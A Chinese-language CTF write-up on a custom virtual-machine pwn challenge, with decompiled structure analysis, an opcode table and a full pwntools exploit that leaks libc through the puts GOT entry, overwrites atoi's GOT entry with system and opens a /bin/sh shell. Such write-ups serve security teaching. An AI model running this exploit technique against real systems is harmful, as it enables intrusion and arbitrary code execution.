结构分析
ptr指针的结构
_DWORD *sub_8049570()
{
_DWORD *v0; // eax
_DWORD *v1; // ST1C_4
v0 = malloc(0x2Cu);
v1 = v0;
*v0 = 0;
v0[1] = 0;
v0[2] = 0;
v0[3] = 0;
v0[4] = 0;
v0[5] = 0;
v0[9] = 0;
v0[10] = calloc(4u, 0x40u); //0x100
v1[6] = v1[10] + 0xFC;//stack_index初始化为v10末尾,是一个指针
v1[7] = v1[10] + 252;
v1[8] = 0;
return v1;
}
定义结构体,从run的第一个操作码的识别可以看出来栈地址,猜测寄存器
指令分析
查看第一段代码
while ( 1 )
{
v1 = *(_BYTE *)ptr->bufer_ptr & 0xF0;
if ( v1 != 0x70 )
break;
if ( *(_BYTE *)ptr->bufer_ptr & 0xF ) // 0x73 push 先减后放
{
if ( (*(_BYTE *)ptr->bufer_ptr & 0xF) != 3 )// 0xff-->opcode 3
exit(-1);
ptr->stack_index -= 4;
*(_DWORD *)ptr->stack_index = *(_DWORD *)(ptr->bufer_ptr + 1);// buffer[1] (第二个字节)
ptr->bufer_ptr += 5; // 五个字节一个指令
}
可以看出来第一个字节为操作码,字节2为第第一个操作数。指令长度为5,但是接下来的else改变了这个假设
else // 0x70
{
ptr->esp_addr -= 4;
*(_DWORD *)ptr->esp_addr = *(&ptr->reg_0 + *(unsigned __int8 *)buffer_i_addr((int)ptr, 1u));// 作为ptr的索引buffer[1] ptr[buffer[1]](ptr为4字节数组)
ptr->bufer_ptr = (instruction *)((char *)ptr->bufer_ptr + 2);
}
这次的指令长度为2,是变长指令 实现了从第二个操作数读数据,作为ptr的索引,放到栈上。
分析几条之后得到最终的结构体
指令需要分析关键指令
指令整理
//寄存器数学运算
0x63 reg_op1*=op2(四字节) mul reg_op1 imm
0x43 reg_op1+=op2(四字节) add reg_op1 imm //可以给寄存器赋值(read)
//输入到寄存器
0x03 reg_op1=(四字节)op2 load reg_op1 imm //很合适的read到寄存器
0x010 get_reg3 load reg3 键盘
//输出到显示器
0x0110 put_reg3 put reg3[0] 输出到显示器
//寄存器操作
0x01 reg_op1=*(四字节)reg_op2+op3 load reg_op1 *(dword)(reg_op2+op3) 把栈内的数据放到寄存器 //栈到寄存器
0x02 *(四字节)(reg_op1+op2)=reg_op3 save *(dword)(reg_op1+op2) reg_op3 //寄存器到栈(其他位置到栈,需要在寄存器里面有值)
0x70 *(esp-4)=reg_op1 指令长度为2 push reg_op1 push reg_op1 //寄存器到栈顶
0x73 *(esp-4)=op1(四字节) push imm(dword) 指令长度5 //没有地址的检查把
//寄存器之间复制
0x00 reg_op1=reg_op2 mov reg_op1 reg_op2 //寄存器复制
exp
#coding=utf-8
from pwn import *
file_path = "./pwn"
context.arch = "x86_32"
context.log_level = "debug"
# context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x121c)")
#/lib/i386-linux-gnu/libc.so.6
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('47.111.104.169', 57404)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
def debug_1(addr,PIE=False):
debug_str = ""
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
for i in addr:
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
else:
for i in addr:
text_base=0
debug_str+='b *{}\n'.format(hex(text_base+i))
gdb.attach(p,debug_str)
def new(content):
p.sendlineafter(">>> ","1")
p.send(content)
def play():
p.sendlineafter(">>> ", "2")
def del1():
p.sendlineafter(">>> ", "3")
#0x03 reg_op1=(四字节)op2 load reg_op1 imm //很合适的read到寄存器
def read_reg(op1,op2):
payload="\x03"+chr(op1)+p32(op2)
return payload
#0x00 reg_op1=reg_op2 mov reg_op1 reg_op2 //寄存器复制
def move_reg(op1,op2):
payload="\x00"+chr(op1)+chr(op2)
return payload
#0x70 *(esp-4)=reg_op1 指令长度为2 push reg_op1 push reg_op1 //寄存器到栈顶
def Push_reg(op1):
payload="\x70"+chr(op1)
return payload
#0x73 *(esp-4)=op1(四字节) push imm(dword) 指令长度5 //没有地址的检查
def Push_imm(op1):
payload="\x73"+p32(op1)
return payload
def puts_reg3():
return "\x10\x01"
def restart():
return "\xb0"
#获取got表项 #leak_libc
payload=read_reg(3,elf.got["puts"])+puts_reg3()+read_reg(3,elf.got["puts"]+1)+puts_reg3()+read_reg(3,elf.got["puts"]+2)+puts_reg3()+read_reg(3,elf.got["puts"]+3)+puts_reg3()+restart()+"\n"
new(payload)
# debug_1([0x08048A55,0x8048AC0])
play()
info=p.recv(4).ljust(4,"\x00")
libc.address=u32(info)-libc.symbols["puts"]
print(hex(libc.address))
# del1()
# 获取劫持atoi函数got表
print("elf.got_free::::",hex(elf.got["free"]))
payload=read_reg(6,elf.got["atoi"]+4)#reg6=free_got
payload+=read_reg(7,elf.got["atoi"]+4)#reg7=free_got
payload+=Push_imm(libc.symbols["system"])
payload+=restart()+"\n"
new(payload)
# debug_1([0x08049039])
play()
p.sendlineafter(">>> ", "/bin/sh\x00")
p.interactive()
经验
这种东西是一个具体值表示ptr的某一位的值的某一位的值。
第二行是ptr的某一位的值+3*(1)(这个值是个指针,1是因为char占一个字节)
ptr->bufer_ptr->field_3
(char *)ptr->bufer_ptr + 3
结构体元素命名规则,是指针后面加addr或ptr
get_opi_addr(ptr, 1u)
ptr->buffer_ptr
关注点
- 是指针还是实际的数,在命名上要有体现
- 取的数据是一个字节还是四个字节
*(&ptr->reg_0 + *v20) *= *(_DWORD *)(ptr->buffer_ptr + 2);
*(&ptr->reg_0 + v19) *= *(&ptr->reg_0 + *(unsigned __int8 *)get_opi_addr(ptr, 2u));
关注指令
必须用到
- 读入寄存器指令 用来设置寄存器
获取libc
- 如果程序能进行两次或两次以上输入可以输出到显示器 或者从一个地址加载数据到寄存器 指针读
- 寄存器复制指令 用来得到libc地址
劫持执行流
- 寄存器写到栈或内存 修改栈或内存基地址后用来实现任意地址写